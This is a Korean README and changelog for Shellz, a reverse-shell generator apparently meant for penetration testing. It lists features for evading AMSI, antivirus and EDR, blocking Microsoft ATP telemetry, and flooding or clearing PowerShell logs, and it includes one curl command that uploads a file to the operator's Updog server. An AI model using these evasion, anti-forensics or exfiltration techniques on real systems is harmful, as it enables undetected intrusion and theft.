Shellz
일반적인 revshell을 빠르고 쉽게 생성하는 스크립트입니다.
특히 PowerShell 및 Python revshell이 필요할 때 유용하며, 올바르게 형식화하는 것이 까다로울 수 있습니다.
PowerShell revshells
- 프롬프트 및 작업 디렉토리 위에 username@computer.(domain)을 표시합니다.
- 부분 및 전체 AMSI 우회 기능이 있습니다.
- TCP, UDP 및 SSL 셸
- 새로운 맞춤형 TCP revshell!
- 새로운 맞춤형 SSL revshell!
- theart42의 멋진 Sharpcat! 리플렉티브 로딩
- Windows PowerShell 및 Core PowerShell
- 파일 업로드 및 다운로드 기능. (sc0tfree의 Updog 사용)
Python
- PowerShell이 없으신가요? 문제 없습니다!
포함된 Python을 로드합니다. 서명된 파일이며 Microsoft Intelligent Security Graph에서 신뢰합니다.
ngrok 지원
- 스크립트 내에서 ngrok을 시작/중지할 수 있습니다.
- 페이로드는 ngrok 주소로 생성됩니다.
Updog 지원
- 스크립트 내에서 Updog을 시작/중지할 수 있습니다.
- PowerShell revshell에는 업로드/다운로드 기능이 내장되어 있습니다.
- nix에서 curl을 사용하여 업로드하려면:
curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload
git에서 Shells 설치하기
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
BlackArch에 shells 설치하기:
pacman -S shellz
스크린샷

필수 종속성
netcat, rlwrap, jq, basenc (coreutils)
선택 종속성
updog, ngrok, xclip
YouTube 동영상
Shellz 1.7.5
Version 1.7.7
- PowerShell 섹션에 Windows Terminal Init 옵션 추가
Version 1.7.6
- Python 섹션에 VBA 매크로에서 Python Embedded를 사용하는 옵션 추가
Version 1.7.5
- PowerShell 섹션에 msbuild.exe를 사용하여 제한된 언어 모드 우회를 단계적으로 로드하는 옵션 추가
Version 1.7.4
- Python Embedded의 페이로드 변경. 더 이상 스크립트를 디스크에 저장하지 않음
- Python revshell을 일부 난독화
Version 1.7.3
- Windows용 Python3 페이로드의 오타 수정
- Python이 설치되지 않은 Windows 시스템에서 PowerShell을 사용하지 않고 Python Embedded를 사용하여 revshell을 얻는 옵션 추가
Version 1.7.1
- SSL 셸의 프롬프트에 PS 추가
- 전체 AMSI 우회 단축
Version 1.7
- 처음 활성화되지 않았을 때 "updog가 실행 중이 아닙니다" 메시지 제거
- 메뉴에서 일부 자동 입력 선택 제거
Version 1.6.9
- block MDE 명령 오류 수정
- init 명령 옵션 추가: cmd, conhost, powershell (페이로드가 8191자를 초과하는 경우 powershell에서 직접 시작해야 함)
Version 1.6.8
- "Microsoft-Windows-PowerShell/Operational" 로그를 더 많은 항목으로 채워 스크립트 초기 실행을 확실히 밀어냅니다. (대상에서 스크립트 블록 로깅이 활성화된 경우에만 작동)
Version 1.6.7
- URL 안전 Base64 인코딩만 있었습니다. 일반 base64 페이로드 인코딩 추가.
Version 1.6.6
- PowerShell 로그 채우기 옵션 추가. 여러 개의 PowerShell 세션을 시작하고 긴 문자열을 전달한 후 종료합니다. 이렇게 하면 스크립트 블록 로깅이 활성화된 경우 로그를 채워 이전 로그 항목을 밀어내고 셸 자체 생성 이벤트를 제거합니다. EDR 탐지를 방지할 수 있습니다. SentinelOne에서 성공적으로 테스트되었습니다.
- 혼란스러운 메뉴 선택 수정. 대부분의 메뉴에서 옵션 선택 시 자동 입력 제거.
- Metasploit Multi/handler Listener 추가
Version 1.6.5
- PowerShell ETW 패치 추가
- PowerShell 포함 전체 AMSI 우회 추가
- 페이로드 길이 확인 추가. Windows 명령 프롬프트(cmd.exe)에서 사용할 수 있는 문자열의 최대 길이는 8191자입니다.
Version 1.6.4
Version 1.6.3
- PowerShell 페이로드에 변수 확장 추가, 배치 파일 등에서 수정 없이 실행 가능
Version 1.6.2
Version 1.6.1
- 리스너가 새 창에서 시작됨. (Linux에서는 선택 사항)
Version 1.6
- PowerShell: Sharpcat 리플렉티브 로딩 옵션 추가
Version 1.5.9
- PowerShell: 새로운 맞춤형 SSL 셸
- PowerShell: TCP/UDP/SSL 선택 옵션 추가
- PowerShell/OpenSSL: SSL 사용 시 올바른 리스너로 기본 설정
Version 1.5.8
- 설치 프로그램이 래퍼 스크립트를 사용하도록 업데이트 (1.5.8 미만에서 업그레이드할 때 /usr/local/bin/shells를 삭제해야 함)
Version 1.5.7
- PowerShell: Net.Sockets.TCPClient를 사용하지 않는 고유한 TCP revshell 구축
- PowerShell: 원격 오류 메시지가 이제 올바르게 표시됨
Version 1.5.6
Version 1.5.5
Version 1.5.4
- PowerShell: NIX 페이로드 수정
- PowerShell: C# 리플렉티브 로딩을 위한 페이로드 업데이트
Version 1.5.3
- PowerShell: 메뉴에 페이로드 옵션 추가
Version 1.5.2
- PowerShell: 더 많은 AV 벤더를 우회하기 위해 revshell 변경
- PowerShell: 방화벽 규칙 추가, MS ATP가 홈으로 전화하는 것을 방지 (실행 중인 사용자에게 권한이 있는 경우)
- PowerShell: VBA(MS Office 매크로) 업데이트
Version 1.5.1
- PowerShell: 스크립트 블록 로깅 및 CheckSuspiciousContent 비활성화
- PowerShell: PowerShell 이벤트 로그 지우기 (실행 중인 사용자에게 권한이 있는 경우)
Version 1.5.0
- PowerShell: MS Office 매크로용 VBA 페이로드 추가
- 일부 node.js 페이로드 추가
Version 1.4.9
- 간단한 C# 셸 추가
- C# 셸을 메모리에 리플렉티브 로딩하는 페이로드 추가 (전체 AMSI 우회 필요)
- Rastamouse의 전체 AMSI 우회를 추가하여 보완
- PowerShell: 전체 AMSI 우회를 자동으로 업로드 및 실행 가능. 부분 AMSI 우회가 이를 가능하게 함
- C# 셸: 메모리에 로드하기 전에 전체 AMSI 우회 자동 업로드 및 실행
- 모든 메뉴에 Updog 및 ngrok 상태 표시
Version 1.4.8
- 때로는 적을수록 좋습니다. TCP/UDP PowerShell revshell에서 난독화를 제거했습니다. 실제로 우회보다 AV를 더 많이 트리거하고 페이로드가 너무 커졌기 때문입니다 :-) 여전히 무작위화를 사용합니다.
Version 1.4.6
Version 1.4.5
- Windows 32비트 및 64비트용 C++ revshell 바이너리 2개 추가
Version 1.4.4
Version 1.4.3
- Updog 지원 추가
- Netcat 바이너리 추가
- PowerShell: 업로드/다운로드 기능 생성 (업로드는 파일 수신을 위해 Updog 필요)
- ngrok 및 Updog 실행에 대한 추가 정보 추가
Version 1.4.2
- PowerShell: 새로운 "미니 AMSI 우회" 추가 (부분 우회) Matt Graebers의 Reflection 방법 기반
- PowerShell: PowerShell 리버스 셸에 "업로드" 기능 추가
Version 1.4.1
- AMSI 제거. 충분히 테스트되지 않음 :-)
Version 1.4
- PowerShell 페이로드용 AMSI 우회 추가
Version 1.3.9
- 포트 설정 시 버그 수정
- 기본 포트를 443으로 변경
- PowerShell: 추가 난독화
Version 1.3.8
- PowerShell: UDP 페이로드에 대한 사소한 변경
Version 1.3.7
- macOS에서 기본 nc만 사용, homebrew의 것은 수신 UDP에서 작동하지 않기 때문
- PowerShell: UDP 페이로드 추가
Version 1.3.6
Version 1.3.5
- PowerShell: 페이로드에 일부 무작위화 및 난독화 추가
Version 1.3.4
- PowerShell: 페이로드에 UTF8 인코딩 사용
Version 1.3.3
Version 1.3.2
Version 1.3.1
- Python revshell 버그 수정
- awk 추가
- Bash UDP 추가
Version 1.3
- Windows Python revshell 추가
Version 1.2.9
Version 1.2.8
Version 1.2.7
- 설치 옵션 수정: 선택 없이 엔터를 눌렀을 때 기본 옵션을 실행하지 않음
Version 1.2.6
Version 1.2.4
- 설치 스크립트 추가
- 누락된 종속성을 확인하고 설치하는 설치 옵션 추가
Version 1.2.3
Version 1.2.2
- Ruby, Perl, Telnet 및 zsh용 셸 추가
Version 1.2.1
- macOS에서 pbcopy를 사용하여 클립보드에 복사 추가
- macOS 버전이 표시하지 않으므로 수신 netcat에 대한 정보 추가
Version 1.2
- 반복 netcat 셸 추가. 10초마다 다시 호출. 셸을 잃은 경우 유용
- macOS에서 실행 시 netcat GNU netcat 0.7.0 Homebrew 확인 추가
Version 1.1